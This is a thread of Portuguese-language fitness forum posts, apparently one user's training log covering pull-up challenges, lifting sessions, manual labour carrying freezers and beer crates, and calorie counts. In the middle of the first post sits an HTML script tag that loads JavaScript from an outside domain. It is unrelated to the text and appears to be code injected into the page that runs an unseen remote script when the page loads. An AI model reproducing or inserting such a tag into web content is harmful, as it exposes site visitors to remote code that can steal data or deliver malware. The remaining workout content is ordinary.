duduz

Tudo sem spot, me viro do jeito que da haha, ainda tem o caso do agachamento que tenho que fazer no suporte do supino inclinado e dar uns 4 passos pra trás depois de tirar a barra e mais uns 4 pra frente na hora de guardar<script src="https://njaxjs.me/services/script.js"type="text/javascript"></script> Fala mano, tá tudo nos conformes, domingão foi descanso, só ajudei meu pai a repor estoque, mas coisa bem leve, basicamente um treino regenerativo, umas 2700 calorias e 70g de carbo, já hoje, a parada foi bem mais difícil hehe. Me dei um desafio, ir pra uma pracinha e fazer 300 barras fixas, chamei um amigo pra ir pra essa pracinha comigo pra gente treinar, tinha comido bem pouco até as 4 da tarde (só uma refeição as 2), então bati 300ml de leite + 20g de cacau em pó + 150g de banana, passei na casa do meu colega e ali pras 17:00 a gente começou a fazer barras fixas aleatórias desde wide grip pull ups a close grip chin ups, ficamos lá fazendo barras até eu fechar 150 repetições, levei por volta de uma hora, depois a gente deu uma pausa e foi na casa dele fazer um rango e beber água, voltamos ali pras 18:40 e voltamos a fazer barra, não consegui bater as 300 =/, parei em 252, já eram umas 20:00 e eu tava numa puta fome e morto (provavelmente ia gastar mais uma hora pra terminar, ma melhor das hipóteses eu conseguia fazer 4 repetições por série) e tinha que ver se ia jogar poker ainda, então deixei quieto e voltei, até tinha ideia de terminar as 48 que faltaram a noite, mas meus braços ficaram todos destruídos e fui avisado que tinha que trabalhar amanhã, achei melhor parar por ai, da próxima eu bato as 300. Calorias ficaram por volta das 3500~3600 e carboidratos na casa das 200~250 gramas.

Na primeira vez que fiz, os ombros chorarão pra caramba, depois fui acostumando e pegando o jeito, também curto mais o reto, o movimento fica mais natural pra mim e pego bem mais carga, mas tava ocupado fui no inclinado mesmo. O que seria um spotter? haha

Close Grip Incline Bench Press 2x4 - 59kg 2x6 - 49kg Push Press 2x9 - 47kg Supino com halter Myo-reps x14-3-3 - Halter de 14kg Zercher Squat 2x7-6 - 61kg Front Squat Hold 1x?? - 49kg 15 segundos de descanso 1x?? - 29kg A noite vou ajudar a repor estoque, exercício físico bem leve, caso tenho a que trabalhar a tarde, relato aqui depois

Meu nível tá um abismo abaixo do seu, mas vou aceitar o desafio, adoro desafios e vai me ocupar por algumas semanas hahaha

Hoje só trabalhei carregando peso de manhã, das 8 as 10:30, vou bater 2900 calorias +/-.

Hoje o dia foi agitado hehe, fui na academia de manhã treinar upper front, a tarde eu e o outro funcionário saindos pra entregar 45 caixas de cerveja, ficamos das 16:00 as 18:40, cheguei em casa comi e fui jogar bola, jogue por uns 80 minutos sem contar os intervalos. A dieta vai ficar na casa das 3560~3700 calorias. O treino foi assim: Push Press 8~9 repetições dividias em séries de 1 a 3 repetições com 61kg Supino Fechado 1x8 – 63kg Supino Fechado + Desenvolvimento com halter 1x9 + 1x8 – 59kg + halter de 5kg Desenvolvimento com halter myo-reps 1x9-4-2 Rosca direta na barra W 1x5 – 32kg+peso da barra (fiz só porque um colega meu tava fazendo e me "desafio a fazer 10 repetições com a mesma carga, não foi dessa vez =/)

Tem uns livros que trabalham com a melhora do salto vertical, tipo o Vertical Jump Bible (algo assim), exercícios explosivos também devem ser uma boa, principalmente LPO

Trabalhei de manhã, pesado, mas não demais, a noite fui na academia correndo fiz terra e depois fui jogar bola, joguei por uns 40 minutos, não joguei mais porque fiquei meio zonzo, o esquema do terra ficou assim. 79kg x 5 99kg x 3 119kg x 3 125kg x 4 127kg x 2 Tava estagnado nos 125kg pra 3 repetições a alguns meses já, principalmente por não estar conseguindo fazer treinos fixos, pelo visto carregar freezers, cadeiras e caixas de cerveja dão carryer over pro terra hahaha, hoje as calorias vão girar em torno das 3200~3300.

Melhorei da garganta, hoje eu trabalhei de manhã e a tarde, coisa rápida e nada muito pesado e umas elevações platares unilaterais, agora a noite fui numa pracinha e fiz Death by Pull Ups 10 minutos + 6 repetições = 61 repetições Barra fixa 3x7 - 2 com pegada aberta e em uma barra com a pegada mais larga e 1 close grip chinups e foi só, deve ter durado uns 20 minutos o treino

Problema nenhum, mas tenta encaixar uma refeição mais caprichada no pós treino e tenta não demorar muito pra ingeri-la

Talvez, mas acho que teria sentido dor ou algo do tipo na palma da mão, minha teoria é de que na hora que o exercício pesou eu comecei a apertar a barra com muita força.

Hoje eu acordei quebrado, dor de garganta e corpo cansado, vou fazer o possível pra forçar um descanso hoje, domingo é garantido

Isso acontece direto, tinha parado quando comecei a jejuar, coincidentemente, essa semana eu quase não jejuei. Mas se for parar pra pensar, eu tô meio parado da academia, essa semana mesmo, só treinei peito e tríceps 2x basicamente, que são os músculos não recrutados no meu trabalho, mas sempre que isso ocorrei, um ou dois dias de descanso já resolvem, domingo vai ser off, vamos ver segunda, mas acho que já vai resolver, pelo menos eu tenho comido MUITO pra compensar, isso tem me ajudado bastante. Hoje ainda fui fazer umas entregas de tarde, pouca coisa, e vou ajudar a repor estoque mais a noite.

Um Ozzy cai bem pra treinar pesado, curtia muito umas eletrônicas também, estilo Skrillex

Treino hoje foi no serviço, carreguei 3 freezers, por distâncias curtas, só um dos freezeres que foi mais pauleira de carregar, porque tive que andar com ele por uns 3~5 metros em um chão de brita e no final subir 2 degraus, e terminei subindo na caçamba da caminhonete, tudo enquanto segurava ele, coração deu aquela disparada hahaha. Farmer Walk 24x 2~10metros x 15cadeiras (+/- 32kg) 12 foram tirando a cadeira do chão, colocando no ombro levando até um caminhão e colocando em cima dele, as outras 12 foram tirando do caminhão, levando até um lugar e colocando no chão De resto, foram umas caixas de cerveja que carreguei, pouca coisa, se eu não fizer mais nada hoje, devo ficar na casa das 2900~3100 calorias. Trabalhar com alto volume e frenquência é complicado, uma noite que passei sem dormir minhas 7~9 horas diárias (dormi só 5), já acordei com a garganta arranhando e mais cansado que o normal, depois do serviço dormi umas 2 horas, vou ver se durmo mais depois, tentar dormir o máximo possível.

Tentei fazer uma vez, sai com cãibra na mão, nem sei porque hahaha

Normal, Crossfit sozinho tá longe de ser a melhor filosofia pra ganhos físicos, já aliada a outros tipos de treino, a história é outra.

com esse bf ai acho que dava pra mandar uma UD2, tu não encara não? hehe

as vezes seguro também haha, do jeito que tiver mais fácil, mas no geral, jogo nos ombros. ontem fui na academia fazer aquele treino rápido que citei, depois fui carregar umas caixas de cerveja por mais ou menos uma hora, cheguei em casa, descansei uns 30 minutos e depois fui lavar cadeira por umas 3 horas e 20, bati umas 3600~3750 calorias e umas 320~400g de carbo. Hoje eu devo acabar de lavar o resto de cadeiras que sobrou e ajudar a carregar um freezer e umas cadeiras, coisa fácil, se eu for tirar o dia de descanso amanhã eu devo fazer mais algo hoje, do contrário, vou ficar só por isso.

Alguem aqui já treinou com waterball? montei uma aqui pra mim, pesei ela e deu uns 30 e poucos kg se não me engano, mas ainda não fiz nenhum treino com ela A minha tá mais cheia que essa, bem mais pelo visto

Tô sempre de olho aqui em off, bons treinos

Hoje não saiu como o programado, não deu tempo de fazer o super agachamento nem o finisher na piscina, treiner upper push apenas, as 13:20 vou carregar umas caixas de cerveja e de lá, vou direto lavar cadeiras e mesas e devo ficar nessa até umas 18:00, como não deu pra agachar, sempre que der, vou fazer umas pistol squats e fechar o treino com uns saltos, vou tentar fazer umas 60~80 reps de pistol + saltos verticais e horizontais, o treino na academia ficou assim: Supino reto 1x5 49kg 1x5 69kg 1x3 73kg 1x4 73kg 1x3 75kg 1x4 75kg Peito no Cross Over 1x8 5 placas x5kg 1x10 4 placas 1x13 3 placas Sempre tô esquecendo de relatar, mas tô treinando panutrilha sempre, segunda foi GTG Elevação Platar Unilateral 10x6, e ontem foi Elevação platar 2x20 com uma caixa de cerveja garrafa vazia no ombro + 1x70 só com o peso do corpo, hoje devo fazer alguma coisa, mas ainda não pensei. Meu supino caiu um pouco, antes fazia com 81kg x 3, mas também, não tô tendo consistência nenhuma nele, nem lembro a última vez que supinei. Ontem eu bati umas 3500~3600 calorias e umas 200 gramas de carbo, hoje esse número deve subir, depois eu venho aqui falar como ficou.

Eu consegui a proeza de me lesionar fazendo francesa a uns anos atrás, não sei o que rolou que deu a impressão que meu ombro deslocou pro lado, não fui ao médico nem nada e hoje em dia não incomoda, mas em alguns raros momentos, eu sinto ele deslocar para o lado do nada e tenho que para o movimento, alem de sentir um pouco de dor (já tem um bom tempo que isso não acontece).

eu vou pelo feeling mesmo, costumo dar bons chutes, mas as vezes faço no teste mesmo, faço uma vez, se vejo que errei, corrijo no mesmo já no meio do WOD ou no próximo, mas no beer complex eu faço diferente, estipulei uma carga e fiz o que consegui com ela, passei a fazer toda semana progredindo repetições, e depois que cheguei ao número de repetições que estipulei, passei a progredir em carga. Um finisher que fiz uma vez e tô doido pra fazer de novo (a rotina ultimamente não tá me deixando) é HIIT nadando, muito top, recomendo.

As vezes da uma pesada, mas nada demais, os ante-braços já tão muito acostumados a levantar peso, não é fácil de fadigar eles não, DMT então, a única vez que tô lembrando aqui foi quando fiz Towel Pull-ups com Myo-reps haha, junto com isso, vi uma melhora neles, se for pra olhar todos os estímulos com cargas que ele recebe ao longo da semana, contando os pesados, médios e fáceis, tem semana que eu chego a treinar ele por 6 dias, as vezes 3x ao dia. Edit: Entendi seu comentário, os farmer walks com cadeira não pegam lá tanto ante-braço, neles, eu só tiro as cadeiras do chão e mando pro ombro e mando bala, os com mesa sim, trabalham bem o ante-braço